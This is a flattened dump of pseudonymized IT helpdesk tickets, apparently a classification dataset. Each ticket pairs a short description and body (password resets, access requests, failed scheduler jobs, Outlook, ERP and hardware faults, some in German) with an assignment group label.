if yes, please ensure company data has been removed from the old device (delete exchange setup from settings> mail, contacts, calendar).
for a personal device, please attach approval form signed by manager to the ticketing\_tool ticket.
please ensure the device is company approved for email setup.
if it is not a company approved device please contact the gsc.
for help with exchange setup on a personal device, please contact the device vendor. you may also refer to the faq section for steps.
has the exchange setup been completed on your device? y/n (you will receive an email stating the device has been quarantined when this is completed). this step needs to be completed for your device to register with company.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1015: average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%) , Description: HostName\_1015: average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%) out of total size 100.5 gb, is assigned to Assignment group: GRP\_12.Ticket with Short description: help with mss worklist since manager left company, Description: from: qekdgaim wagshrzl \_x000D\_
sent: saturday, august 06, 2016 1:37 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: amar help with mss worklist since manager left company\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i'm writing on behalf of jdlxkygf wlzqaivr and mikhghytr ramdntysey. \_x000D\_
\_x000D\_
1. jdlxkygf wlzqaivr: davidthd's former manager (and expense report approver), gergrythg bigleman, is no longer with the company. davidthd has an expense report in gergrythg's queue. \_x000D\_
2. how does mikhghytr ramdntysey get access to that to approve and/or forward to the correct manager? \_x000D\_
3. how can we ensure there are no other requests in gergrythg's universal worklist? \_x000D\_
\_x000D\_
note: our office will be closed, monday, september 5, 2016 for the labor day holiday.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_52.Ticket with Short description: folder access \\HostName\_29\kt-transition\infrastructure\security operations pragtyhusas, Description: provide access to hnynhsth jsuyhwssad (user id: pragtyhusas) to the below network folder.
folder access \\HostName\_29\kt-transition\infrastructure\security operations, is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to start dell 7350, Description: unable to start dell 7350 // stuck on welcome screen, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_37 bex password , Description: erp SID\_37 bex password , is assigned to Assignment group: GRP\_0.Ticket with Short description: update contact number 330-328-8431 in ad, Description: update contact number 330 in ad, is assigned to Assignment group: GRP\_34.Ticket with Short description: crm configuration issue, Description: crm configuration issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call // loud noise, Description: blank call // loud noise, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for jrigdbox bgyluoqn using password\_management\_tool password reset., Description: please reset erp password for beahleb......, is assigned to Assignment group: GRP\_17.Ticket with Short description: access SID\_1 system -erp machine service tag gowzv12- asset tag 404766, Description: SID\_1 model is not working in machine service tag gowzv12- asset tag 404766 - error attached \_x000D\_
need to produce some uacyltoe hxgayczes in SID\_1 enviroment , is assigned to Assignment group: GRP\_0.Ticket with Short description: updated passwords and email on mobile device , Description: updated passwords and email on mobile device , is assigned to Assignment group: GRP\_0.Ticket with Short description: password\_management\_tool password manager password reset link, Description: password\_management\_tool password manager password reset link, is assigned to Assignment group: GRP\_0.Ticket with Short description: bex report, Description: \_x000D\_
\_x000D\_
received from: nealxjbc.owjduxai@gmail.com\_x000D\_
\_x000D\_
i'm getting an error when i'm trying to run my bex report it won't allow me to log in to SID\_37. this is something i have run with no issues in the past. i need this to run my daily reports.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to ethics, Description: unable to login to ethics, is assigned to Assignment group: GRP\_23.Ticket with Short description: expense account will not post, Description: my cost center changed on 7/1/2016 from ltm013 to ltm001. i started an expense account for july, changed the cost assignment to ltm001, but the expense account will still not submit. i receive this error message whenever i try to submit the expense account: "cost center 1company/ltm013 blocked against direct postings on 7/5/2016". , is assigned to Assignment group: GRP\_10.Ticket with Short description: access to engineering tool, Description: name:gncpezhx hopqcvza
language:
browser:microsoft internet explorer
email:uwiqchfp.hnsukjma@gmail.com
customer number:
telephone:
summary:tool access report, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_3194, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_3194 at 08/05/16 14:16:27, is assigned to Assignment group: GRP\_10.Ticket with Short description: screensaver of company center, Description: screensaver of company center, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1390, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1390 at 08/05/16 14:08:26, is assigned to Assignment group: GRP\_9.Ticket with Short description: company screen saver was changed to company screen saver, Description: company screen saver was changed to company screen saver during the last it update on my pc. please change back to company and fix the programdnty so all company screen savers don't get changed!, is assigned to Assignment group: GRP\_0.Ticket with Short description: infoblox at chicago office, 10.20.198.9 has stopped issuing ip addresses, Description: it is also beeping and the led is flashing., is assigned to Assignment group: GRP\_4.Ticket with Short description: vitalyst icon to desktop, Description: hello helpdesk, \_x000D\_
\_x000D\_
can you help myhzrtsi rwnhqiyv to download the vitalyst icon to his desktop please. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook keeps prompting for password, Description:
outlook keeps prompting for password, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to collaboration\_platform, Description: unable to login to collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: need to know if 54.87.86.150 is able to send smtp via 10.32.1.100, Description: \_x000D\_
\_x000D\_
received from: mfyivqes.cpihaxbs@gmail.com\_x000D\_
\_x000D\_
please could someone check if 54.87.86.150 is allowed to send smtp via 10.32.1.100\_x000D\_
we need to have this possibility to send out inwarehouse\_tool approvals via mail.\_x000D\_
\_x000D\_
this functionality works in the past, and it's very important for our finance department.\_x000D\_
please let me know why this has been stopped\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_26.Ticket with Short description: unlock account email in cell phone the user urgapyzt tnxiuramdnty id: vaghyliort , Description: hello team,
could you please unlock account email in cell phone the user urgapyzt tnxiuramdnty id: vaghyliort
, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call // loud noise , Description: blank call // loud noise , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked, Description: account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: update of ae to bw and hana, Description: wesley tomlin <xvmjocfn.bqxcdfiz@gmail.com>; wilsfgtjl2
verboncouer, markhty a ???? verboma current manager - tgewaniq yepifgbl. does this need a change in mapping? - chefgtnp2
mason, bengtjamin ??? masonb current manager - tgewaniq yepifgbl. does this need a change in mapping? - chefgtnp2
, is assigned to Assignment group: GRP\_9.Ticket with Short description: update of ae to bw and hana, Description:
mys, ptmjvysi vkrepcybwa - please confirm to change to itslpwra vybdkuoa - wilsfgtjl2
mikhghytr rushethryli <trmhfxoz.bxofhryg@gmail.com>; wilsfgtjl2
talryhtir, michghytuael ??? tayloml current manager - andrdgrtew c mohnrysu. does this need a change in mapping? - mondhrbaz
, is assigned to Assignment group: GRP\_9.Ticket with Short description: update of ae to bw and hana , Description: wiksufty, jimdghty l manager â€“ so i believe this user id does not need changes - zazrtulds
carmer, craigfgh cardfrmeca â€“ please confirm to change to itslpwra vybdkuoa - wilsfgtjl2
povich, trtgoy ??? mgr - povictcfgt current manager - andrdgrtew c mohnrysu. does this need a change in mapping? - mondhrbaz
mohnrysu, andrdgrtew ??? current manager - johthryu c marftgytin. does this need a change in mapping? - magtyrtijc, is assigned to Assignment group: GRP\_9.Ticket with Short description: request to reset microsoft online services password for kzeqbica.kzcjeiyd@gmail.com, Description: from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com]
sent: friday, august 05, 2016 8:43 pm
to: nwfodmhc exurcwkm
cc: tiyhum kuyiomar
subject: amar request to reset microsoft online services password for kzeqbica.kzcjeiyd@gmail.com
importance: high
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ kzeqbica.kzcjeiyd@gmail.com
â€¢ first name: santrhyat
â€¢ last name: jagthyin
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: xwlcqfsr lbcqfnie not able to open purchasing., Description: xwlcqfsr lbcqfnie - xwlcqfsr.lbcqfnie@gmail.com, phone: 603. having a problem with purchasing access. email attached addressing the issue. please contract keith to resolve. , is assigned to Assignment group: GRP\_0.Ticket with Short description: locked out on the caas application, Description: locked out on the caas application, is assigned to Assignment group: GRP\_7.Ticket with Short description: insert option not wrking in excel, Description: insert option not working in excel., is assigned to Assignment group: GRP\_3.Ticket with Short description: vlinspectkiosk2 qlhmawgi sgwipoxn locked, Description: vlinspectkiosk2 qlhmawgi sgwipoxn locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: cant access to network drive, Description: cant access to network drive, is assigned to Assignment group: GRP\_0.Ticket with Short description: please turn off eligibility for ethics for user wqinjkxs azoyklqe , Description: please turn off eligibility for ethics for user wqinjkxs azoyklqe , is assigned to Assignment group: GRP\_23.Ticket with Short description: ecc qa - peer certificate rejected by chainverifier, Description: just found out that the eccqa certificate is not valid. below is the error we got when talking to one of the apis on ecc qa.\_x000D\_
\_x000D\_
[build#:5.0.c.07][http worker [@316135430]][com.bridgex.connect.foundation.businesslogic.custom.exception.cust360businesslogicexception.<init>(14)], exception\_x000D\_
error message: error while silently connecting: org.w3c.www.protocol.http.httpexception: peer certificate rejected by chainverifier\_x000D\_
detailed error message: error while silently connecting: org.w3c.www.protocol.http.httpexception: peer certificate rejected by chainverifier\_x000D\_
web service: \_x000D\_
input paramdntys: \_x000D\_
property : class value : class com.company.connect.b2b.dataconnectors.io.customer.customersearchinputtype\_x000D\_
property : commoninput value : commoninputs [brand=kd, distchannel=, division=, language=e, maxrows=100, salesorg=, soldto=]\_x000D\_
property : customerattributes value : [customerattributes [attributecode=, attributetext=, attributetype=]]\_x000D\_
property : customersearch value : customersearch [customeraddress=customeraddress [city=, country=, countrylong=, district=, email=, fax=, houseno=, name2=, name3=, name4=, state=, statelong=, street=, street2=, telephone=, zipcode=], customername1=, customername2=, customerno=81889987, customertype=]\_x000D\_
property : partnerrole value : []\_x000D\_
webserviceclient : execute() : generirtc exception\_x000D\_
\_x000D\_
please get this fixed soon as we have lot of uacyltoe hxgayczeing going on in qa and we need the qa system back on line soon. our vendors are also about to demo the new project that they completed for company to the business and since we have certificate issue, they had to postpone it. hence, please treat this as urgent and fix as soon as possible.\_x000D\_
, is assigned to Assignment group: GRP\_14.Ticket with Short description: please change email address of user gncpezhx hopqcvza from @company.com to @company.com, Description: please change email address of user gncpezhx hopqcvza from @company.com to @company.com, is assigned to Assignment group: GRP\_2.Ticket with Short description: abended job in job\_scheduler: bk\_hana\_SID\_62\_os\_dly\_dp, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bk\_hana\_SID\_62\_os\_dly\_dp at 08/05/16 10:47:26, is assigned to Assignment group: GRP\_8.Ticket with Short description: ethics issue , Description: inc1538003 : please turn off eligibility for ethics for user wqinjkxs azoyklqe \_x000D\_
inc1538001 : please change email address of user gncpezhx hopqcvza from @company.com to @company.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: mdm tool not working via citrix system, Description: hello team, \_x000D\_
could you please support with mdm issue via citrix? \_x000D\_
the application mdm data manager and mdm import manager does not work when trying to upload catalogs.\_x000D\_
\_x000D\_
you can find the error print screen attached.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: benefits issue, Description: benefits issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to skype - certificate error, Description: unable to login to skype - certificate error, is assigned to Assignment group: GRP\_0.Ticket with Short description: xerox copier prtqx7302 will not scan to email., Description: xerox copier prtqx7302 will not scan to email., is assigned to Assignment group: GRP\_3.Ticket with Short description: ticket update on inplant\_847905, Description: ticket update on inplant\_847905, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket (ticket\_no1538972) update to anftgup nftgyair, Description: ticket (ticket\_no1538972) update to anftgup nftgyair, is assigned to Assignment group: GRP\_72.Ticket with Short description: outlook issue : crm giving error message., Description: outlook issue : crm giving error message., is assigned to Assignment group: GRP\_0.Ticket with Short description: my outlook will not open. it is stuck with a screen showing "processing"., Description: my outlook will not open. it is stuck with a screen showing "processing"., is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile broad band issue : 7350 , Description: mobile broad band issue : 7350 , is assigned to Assignment group: GRP\_0.Ticket with Short description: ap 'usa-training-room' disassociated from controller '57.81.82.962'. - controller name: company-wlc-8510-1, Description: \_x000D\_
\_x000D\_
received from: sthyuraj.sektyhar@company.com\_x000D\_
\_x000D\_
alarm: ap 'usa-training-room' disassociated from controller '57.81.82.962'. - controller name: company-wlc-8510-1\_x000D\_
timestamp: august 5, 2016 7:07:12 am edt\_x000D\_
device: usa-training-room,00:16:9c:91:1e:50\_x000D\_
severity: critical\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: reset the password for nvawmlch ubyjolnc on erp / production / erp, Description: please reset my password. i did find out why it can't log on after a 24 hours time period. because when i reset my pass word i was on wi-fi. , is assigned to Assignment group: GRP\_0.Ticket with Short description: password change, Description: \_x000D\_
\_x000D\_
received from: rvdwyapu.fubjamlr@gmail.com\_x000D\_
\_x000D\_
i am locked out of password\_management\_tool password change because of too many attempts (my password wouldn't work) could you please re-set me\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: spoof email issue, Description: from: ugyothfz ugrmkdhx
sent: friday, august 05, 2016 6:52 pm
to: ed pasgryowski <ucosgrfy.aeithcvp@gmail.com>; rxuobtjg grcmqaxd <rxuobtjg.grcmqaxd@gmail.com>; tiyhum kuyiomar <glnfyoqe.fexliuytreu@gmail.com>; hqbxstoy mdjftxli <hqbxstoy.mdjftxli@gmail.com>; dfupksnr drnqjzph <dfupksnr.drnqjzph@gmail.com>; epilwzux qjhitbcr <epilwzux.qjhitbcr@gmail.com>; zarlgjes nxjvzcta <zarlgjes.nxjvzcta@gmail.com>; kzishqfu bmdawzoi <kzishqfu.bmdawzoi@gmail.com>
cc: kathght shfhyw <afkstcev.utbnkyop@gmail.com>; -sadmin <-sadmin@company.com>; hnynhsth jsuyhwssad <bxspwfyo.vzystwor@gmail.com>; qfrntose ivnhumzjalakrisyuhnyrtn <qfrntose.ivnhumzj@gmail.com>
subject: spoof email issue
hello all,
, is assigned to Assignment group: GRP\_2.Ticket with Short description: server HostName\_973 is not responding, Description: we are attempting to login into our tax\_interface software to apply updates and server HostName\_973 is not responding. this is the second time within two weeks that we are having an issue with this server. please advise when issue has been corrected.\_x000D\_
, is assigned to Assignment group: GRP\_14.Ticket with Short description: formatar micro, Description: formatar micro, is assigned to Assignment group: GRP\_62.Ticket with Short description: security error in reisekosten abrechnungs programdnty, Description: security error in reisekosten abrechnungs programdnty, is assigned to Assignment group: GRP\_0.Ticket with Short description: folder access, Description: \_x000D\_
\_x000D\_
received from: pjxclyhs.fcniljtu@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please give full access to hmovlkyq kinawsdv and iechuoxb zcejmwsq to the following folder:\_x000D\_
\_x000D\_
\\HostName\_768\teams\finance\global bank bals fy17<file:///\\HostName\_768\teams\finance\global%20bank%20bals%20fy17>\_x000D\_
\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_34.Ticket with Short description: supply\_chain\_software, Description: \_x000D\_
\_x000D\_
received from: yiramdntyjqc.qtrcepsa@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i am unable to access supply\_chain\_software. it will not recognize my password.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1132:memory usage is now 98%, Description: internal error: unable to find any processes.\_x000D\_
probe 'processes' failed to start (command = processes.exe) error = (1450) insufficient system resources exist to complete the requested service. , is assigned to Assignment group: GRP\_12.Ticket with Short description: company screensaver , Description: company screensaver , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to unlock user accounts in password\_management\_tool id password manager, Description: password\_management\_tool problem - look at the "unlock accounts" log. this happens to each and every user, is assigned to Assignment group: GRP\_2.Ticket with Short description: welcome screen in the germany lobby is not working any more - please check, Description: welcome screen in the germany lobby is not working any more - please check, is assigned to Assignment group: GRP\_28.Ticket with Short description: skype, Description: \_x000D\_
\_x000D\_
received from: lpoebzsc.grknswyo@gmail.com\_x000D\_
\_x000D\_
i was looking for pathryu etasthon on skype. i type in his name in the search bar, and his picture shows up with robdyhr hhnght's name beside it.\_x000D\_
nvamcrpq gkrlmxne does not show up at all. robdyhr hhnght is no longer with company. perhaps communications intended and sent to robdyhr hhnght are being forwarded to pat, and the settings are incorrect.\_x000D\_
\_x000D\_
in any event, can you have someone look into this and correct.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: ms crm dynamics for outlook : , Description: ms crm dynamics for outlook : \_x000D\_
error : an error occurred prompting this item to ms dynamics crm, is assigned to Assignment group: GRP\_40.Ticket with Short description: i am a new employee and don't have access to hr\_tool, benefits, ethics, and drives other than c., Description: x5314 welcome to the company business ethics & conduct center (ethics) training site. our records indicate that the log-in credentials you used to access this site from the company's collaboration\_platform do not match the records we have on file within the active directory. please submit a ticket to the global support center to ensure that your network log-in id is correctly entered into erp.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: ticket update on ticket\_no0427861, Description: ticket update on ticket\_no0427861, is assigned to Assignment group: GRP\_0.Ticket with Short description: supply\_chain\_software password reset , Description: supply\_chain\_software password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: chat disconnected, Description: chat disconnected, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset for supply\_chain\_software, Description: password reset for supply\_chain\_software
user id : ludwidjfft, is assigned to Assignment group: GRP\_0.Ticket with Short description: supply\_chain\_software login, Description:
received from: ryafbthn.mijhmiles@company.com
good morning,
i am unable to log into supply\_chain\_software. can you please reset my password?
ryafbthn mijhmijhmiles
leader of sales â€“ msc
ryafbthn.mijhmiles@company.com<mailto:ryafbthn.mijhmiles@company.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: pobleme mit we\_combi \jionmpsf wnkpzcmv, Description: pobleme mit we\_combi \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: langsamer rechner \Ã¼berprÃ¼fung \niptbwdq csenjruz, Description: langsamer rechner \Ã¼berprÃ¼fung \niptbwdq csenjruz, is assigned to Assignment group: GRP\_24.Ticket with Short description: attendance\_tool is not loading in internet explorer (missing adobe flash player), Description: attendance\_tool is not loading in internet explorer (missing adobe flash player), is assigned to Assignment group: GRP\_19.Ticket with Short description: setup new ws \kebogxzp difnjlkp , Description: setup new ws \kebogxzp difnjlkp , is assigned to Assignment group: GRP\_24.Ticket with Short description: bluetooth keybankrd defekt \dardabthyr, Description: bluetooth keybankrd defekt \dardabthyr, is assigned to Assignment group: GRP\_24.Ticket with Short description: erp login, Description: \_x000D\_
\_x000D\_
received from: udetjzmn.ayueswcm@gmail.com\_x000D\_
\_x000D\_
good morning\_x000D\_
\_x000D\_
can you please reset my erp login as it tells me my password is incorrect.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit bildschirmschoner \ we91 \jionmpsf wnkpzcmv, Description: probleme mit bildschirmschoner \ we91 \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: mobiltelefon defekt, Description: mobiltelefon gigaset m2 professional mit der durchwahl 479 \_x000D\_
akku ( defekt hÃ¤lt nicht mehr lÃ¤nger wie 1 tag ) \_x000D\_
display ( kann man kaum noch was erkennen )\_x000D\_
clip defekt.\_x000D\_
, is assigned to Assignment group: GRP\_33.Ticket with Short description: scm\_software , Description:
received from: oetlgbfw.bsctrnwp@gmail.com
i am not able to login my account
i must have the wrong password
matghyuthdw is my username
dan,
welcome to s&op .. i've created your user account; please use following logn credentials:
dthyan matheywtyuews
sales manager gl2
oetlgbfw.bsctrnwp@gmail.com<mailto:oetlgbfw.bsctrnwp@gmail.com>
t
, is assigned to Assignment group: GRP\_0.Ticket with Short description: driver update, Description: \_x000D\_
\_x000D\_
received from: kbdljsxf.kcmqtjgf@gmail.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
\_x000D\_
can you please update the drive and graphic card for my laptop â€“ dell e5470 , let me know if you required further details.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: erp business objects analysis for excel - error message: add-in is not registered correctly, Description: \_x000D\_
summary:i need acces to run bex reports showing margins. it should be the same access as qkmgtnla buraxcij & pqkthilr uitfqsen\_x000D\_
\_x000D\_
also \_x000D\_
\_x000D\_
\_x000D\_
i also had erp business objects loaded onto my machine. however, it does not work. i get the following message "the launcher is exited with error, see log file for more details. the analysis add-in is not registered correctly", is assigned to Assignment group: GRP\_9.Ticket with Short description: windows account lockout, Description: windows account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: ich kann mein erp passwort nicht zurÃ¼ck setzten., Description: ich weiÃŸ mein erp passwort nicht mehr und habe 3 fehlversuche eingegeben. bitte zurÃ¼cksetzen., is assigned to Assignment group: GRP\_0.Ticket with Short description: vmware tools are not running on the server HostName\_1045 which is resided on host HostName\_1178, Description: vmware tools are not running on the server HostName\_1045 which is resided on host HostName\_1178, because of this backup Job\_481 is failing , is assigned to Assignment group: GRP\_12.Ticket with Short description: new employee not able to login to system vvrtgwildj, Description: user id : vvrtgwildj
name : johghajknnes wildschuetz
user logging in for the first time and getting
error : die sicherheisdatenbank auf dem server enthÃ¤lt kein computerkonto fÃ¼r diese arbeitsstationsvertrauensstellung
error: the security database on the server does not contain a computer account for this workstation trust relationship
computer name : efdl8111226
contact # :
, is assigned to Assignment group: GRP\_0.Ticket with Short description: lhqsm518(fim production): miiserver.exe: wrong number of instances of process miiserver.exe, Description: lhqsm518(fim production): miiserver.exe: wrong number of instances of process miiserver.exe, expected instances gte 1 but found 0, is assigned to Assignment group: GRP\_12.Ticket with Short description: new email problem, Description: new email problem, is assigned to Assignment group: GRP\_19.Ticket with Short description: zlxcsqdg ckpojwir cannot see all his customer accounts in msd crm , Description: m. wilfert does not find three customers that are included in his sales plan in ms crm on the "my active accounts" view. also, he thinks he has some in the list that do not belong to him. attached his email to this ticket ., is assigned to Assignment group: GRP\_22.Ticket with Short description: laptop key bankrd not working, Description: \_x000D\_
\_x000D\_
received from: ivohcdpw.ixcanwbm@gmail.com\_x000D\_
\_x000D\_
dear sir\_x000D\_
keybankrd of laptop is not working. please do the need full\_x000D\_
\_x000D\_
laptop details :\_x000D\_
\_x000D\_
dell latitude 7350 win 8.1 x64 bit\_x000D\_
service tag : j822362\_x000D\_
computer name : ainl9912382\_x000D\_
india branch\_x000D\_
\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_19.Ticket with Short description: abended job in job\_scheduler: Job\_593, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_593 at 08/05/16 04:59:27, is assigned to Assignment group: GRP\_8.Ticket with Short description: telephony\_software - status update, Description: telephony\_software - automated status update
user zjcsqtdn jikyworg activated the screen saver by pressing windows + l.
gabryltkla maier (germany warehouse) were calling her, the phone was ringing and christgryta's status was changed to acd - agent not answering automatically.
by loging on again the status was remaining at acd- agent not answering.
call id.: 2175992332
as we facing that gap occationally would you please let us know if we could have the status changing back again to available automatically.
, is assigned to Assignment group: GRP\_7.Ticket with Short description: distributor\_tool not laoding , Description: distributor\_tool not loading , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_467, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_467 at 08/05/16 04:38:26, is assigned to Assignment group: GRP\_8.Ticket with Short description: bls (beschichtungsleitstand) germany workflow error - pvd, Description: error message: "laufzeitfehler '94': ungÃ¼ltige verwendung von null" \_x000D\_
\_x000D\_
prompted at step: "auftragsausgang > von revision freigegeben" pressing okay results in a programdnty crash.\_x000D\_
\_x000D\_
error occured first time this morning 6 am cet. \_x000D\_
\_x000D\_
there is one batch at this step (von revision freigegeben) at the moment: 7320. batches after that stage in the workflow can be processed as usual, however workflow is interrupted and batches directly before critical stage can be further processed. happens only for pvd. cvd is running without any issues. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: erp crm(SID\_39 web) sold-to accounts is saved without division. urgent, Description: sold-to account (81926490) is extended to null/empty division. it can't happened that sold-to account is saved without mandatory fields. this is big issue.\_x000D\_
this issue is generating failed queue items in crm msd. please investigate how the system allowed the user to save it.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_15.Ticket with Short description: zmcp is not working for plant\_33 personnel. review su53 - created instead of ticket\_no ticket\_no0426629, Description: qwsjptlo hnlasbed
erp
SID\_34
"printed" to jc00
spool no. 9963485
userid lynerwjgthy
if the plant code is set at plant\_34, label print is successful. when plant code is set to plant\_33, error message and no output., is assigned to Assignment group: GRP\_20.Ticket with Short description: der drucker fÃ¼r die ups-lapels druckt nicht richtig. , Description: der drucker steht am platz von wckrxovs aunsgzmd, is assigned to Assignment group: GRP\_33.Ticket with Short description: dock station , Description: dock station is not working , is assigned to Assignment group: GRP\_19.Ticket with Short description: password reset request through password\_management\_tool password., Description: password reset request through password\_management\_tool password., is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_481, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_481 at 08/05/16 04:03:26, is assigned to Assignment group: GRP\_8.Ticket with Short description: cursor moving on its own while typing., Description: i got the new laptop recently and cursor jumps or moves on its own, automatically, randomly while typing in windows laptop , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login the impact award login screen., Description: i am unable to login the url: , is assigned to Assignment group: GRP\_0.Ticket with Short description: turn off telephony\_software for turkey between 10:50 - 12:00 local time., Description: turn off telephony\_software for turkey between 10:50 - 12:00 local time due to meeting. \_x000D\_
approved by djpwfxzt cfkwxlmq., is assigned to Assignment group: GRP\_7.Ticket with Short description: configair server in production not responding - 500 internal server error, Description: config air server runs into 500 internal server error.\_x000D\_
message: "error: while trying to invoke the method java.util.list.iterator() of a null object loaded from local variable 'locallist'\_x000D\_
this error happens with the csscdrill model.\_x000D\_
\_x000D\_
with the mill\_model model configair is coming up but the model is not working. \_x000D\_
\_x000D\_
this has directly business impact for quotations., is assigned to Assignment group: GRP\_14.Ticket with Short description: reset the password for obvyknzx gzvjtish on erp / production / erp, Description: please reset my erp password SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_483, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_483 at 08/05/16 03:34:26, is assigned to Assignment group: GRP\_8.Ticket with Short description: please reset password for user catgyhilp (ess kiosk user), Description: please reset password for user catgyhilp (ess kiosk user) please email change information to coatea or whatlgp, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to wifi, Description: unable to connect to wifi, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset erp SID\_34, Description: password reset erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: r: finished: start of s&op process, Description: \_x000D\_
\_x000D\_
received from: xfdkwusj.gyklresa@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
unable to sign in after java update, see the message\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1eef4.8507SID\_530]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: aw: SID\_1 erp, Description: \_x000D\_
\_x000D\_
received from: jofghyuach.nerreter@company.com\_x000D\_
\_x000D\_
hello sandrgru,\_x000D\_
\_x000D\_
please check your gui settings for SID\_1. should be:\_x000D\_
\_x000D\_
[cid:image003.png@01d1eef4.09ad5380]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp & business\_client password blocked, Description: from: asfgthok topefd
sent: friday, august 05, 2016 11:19 am
to: nwfodmhc exurcwkm
subject: rad:fw: erp & business\_client password blocked
importance: high
hello ,
again i am facing the issue while opening the erp.
password has been blocked.
let us do needful.
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: need teamviewer full version and visio application, Description: need teamviewer full version and visio application, is assigned to Assignment group: GRP\_19.Ticket with Short description: calculation of the claim amount will make a mistake., Description: from: uxndyfrs vahxnfgl [mailto:uxndyfrs.vahxnfgl@gmail.com] \_x000D\_
sent: friday, august 05, 2016 10:53 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: rad:fw: calculation of the claim amount will make a mistake.\_x000D\_
\_x000D\_
hi\_x000D\_
\_x000D\_
calculation of the claim amount will make a mistake.\_x000D\_
please fix this.\_x000D\_
\_x000D\_
the total amount of money usd 2770\_x000D\_
\_x000D\_
